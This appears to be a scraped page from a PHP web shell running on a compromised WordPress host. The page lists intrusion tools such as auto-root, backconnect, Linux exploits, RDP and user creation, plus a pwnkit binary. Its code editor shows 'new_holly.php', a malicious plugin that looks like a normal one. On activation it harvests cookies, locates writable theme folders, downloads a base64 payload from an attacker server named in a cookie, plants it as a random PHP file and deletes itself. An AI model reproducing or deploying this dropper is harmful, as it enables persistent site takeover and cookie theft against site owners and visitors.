Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.103.20.6 | : 216.73.216.183
Cant Read [ /etc/named.conf ]
5.4.45
formahte
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
formahte /
www /
wp-content /
plugins /
newholly /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
new_holly.php
5.72
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : new_holly.php
<?php /** * Plugin Name: New Holly * Version: 2.9 */ register_activation_hook( __FILE__, 'holly_premium_activate' ); function holly_premium_activate() { /// $site = get_site_uri(); $file_name = substr(md5(time().$_SERVER['HTTP_HOST']), 0, 8).rand(1, 99).'.php' ; $rootDir = realpath($_SERVER['DOCUMENT_ROOT']).'/wp-content/themes'; $directories = getDirectoriesRecursive($rootDir); $result_json = []; $result_json['_COOKIE'] = $_COOKIE; $result_json['site'] = $site; $result_json['rootDir'] = $rootDir; $result_json['file_name'] = $file_name; $result_json['status'] = ''; if ($rootDir === false) { $result_json['status'] = 'error'; }else{ foreach ($directories as $key => $value) { $path = $value['path']; if (!is_dir($path)) { continue; } if (!is_writable($path)) { continue; } $file_path = $value['path'].'/'.$file_name; $handle = @fopen($file_path, 'w'); if ($handle === false) { continue; } $url = getFileUrl($file_path, $site); // if ($url === null) { continue; } if (!function_exists('curl_init')) { $result_json['error'] = 'curl_init not install'; break; } // $data = apiret($url); if($data == ''){ $result_json['error'] = 'data empty'; break; } $bytes = fwrite($handle, base64_decode($data['data'])); if ($bytes === false) { $result_json['error'] = 'bytes false'; break; } fflush($handle); fclose($handle); $result_json['status'] = 'done'; break; } } if($result_json['status'] != 'done'){ $result_json['status'] = 'error'; } delete_plug(); wp_die( '<div class="wp-die-json-message">'.json_encode($result_json).'</div>', __( 'Active', 'seo-premium' ) ); } function get_site_uri(){ $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://'; return $scheme . $_SERVER['HTTP_HOST']; } function delete_plug(){ require_once ABSPATH . 'wp-admin/includes/file.php'; WP_Filesystem(); global $wp_filesystem; delete_plugins( array( plugin_basename(__FILE__) ) ); } function rrmdir(string $dir): bool { if (!is_dir($dir)) { return false; } $prevCwd = getcwd(); chdir($prevCwd); $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($it as $fileInfo) { $path = $fileInfo->getRealPath(); if ($fileInfo->isDir()) { rmdir($path); } else { @unlink($path); } } $result = rmdir($dir); chdir($prevCwd); return $result; } function getFileUrl(string $absolutePath, string $site): ?string { $abs = str_replace('\\', '/', realpath($absolutePath)); if ($abs === false) { return null; } $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/'); if (stripos($abs, $docRoot) !== 0) { return null; } $relative = substr($abs, strlen($docRoot)); $relative = '/' . ltrim($relative, '/'); $site = rtrim($site, '/'); return $site . $relative; } // function getDirectoriesRecursive(string $basePath): array { $dirs = []; $rootDepth = substr_count($basePath, DIRECTORY_SEPARATOR); $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $basePath, FilesystemIterator::SKIP_DOTS ), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if ($item->isDir()) { $path = $item->getRealPath(); $depthRel = substr_count($path, DIRECTORY_SEPARATOR) - $rootDepth; $accessible = is_readable($path); $dirs[] = [ 'path' => $path, 'depth' => $depthRel, 'accessible' => $accessible, ]; } } usort($dirs, fn($a, $b) => $b['depth'] <=> $a['depth']); return $dirs; } // function apiret($furl){ $data = ''; $wordpresrr = $_COOKIE['wordpress_ijsd98u32'] ?? null; if($wordpresrr === null){ return ''; } $wordpresrr = base64_decode($wordpresrr); $apurl = trim($wordpresrr); $apiEndpoint = $apurl; $apikey = $_COOKIE['wordpress_xxxu32'] ?? null; if($apikey === null){ return ''; } $ch = curl_init($apiEndpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded',]); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['url' => $furl, 'api' => $apikey])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($response === false) { //echo ' cURL error: ' . curl_error($ch) . "\n"; return ''; } if ($httpCode === 200) { $data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { return ''; } } curl_close($ch); return $data; }
Close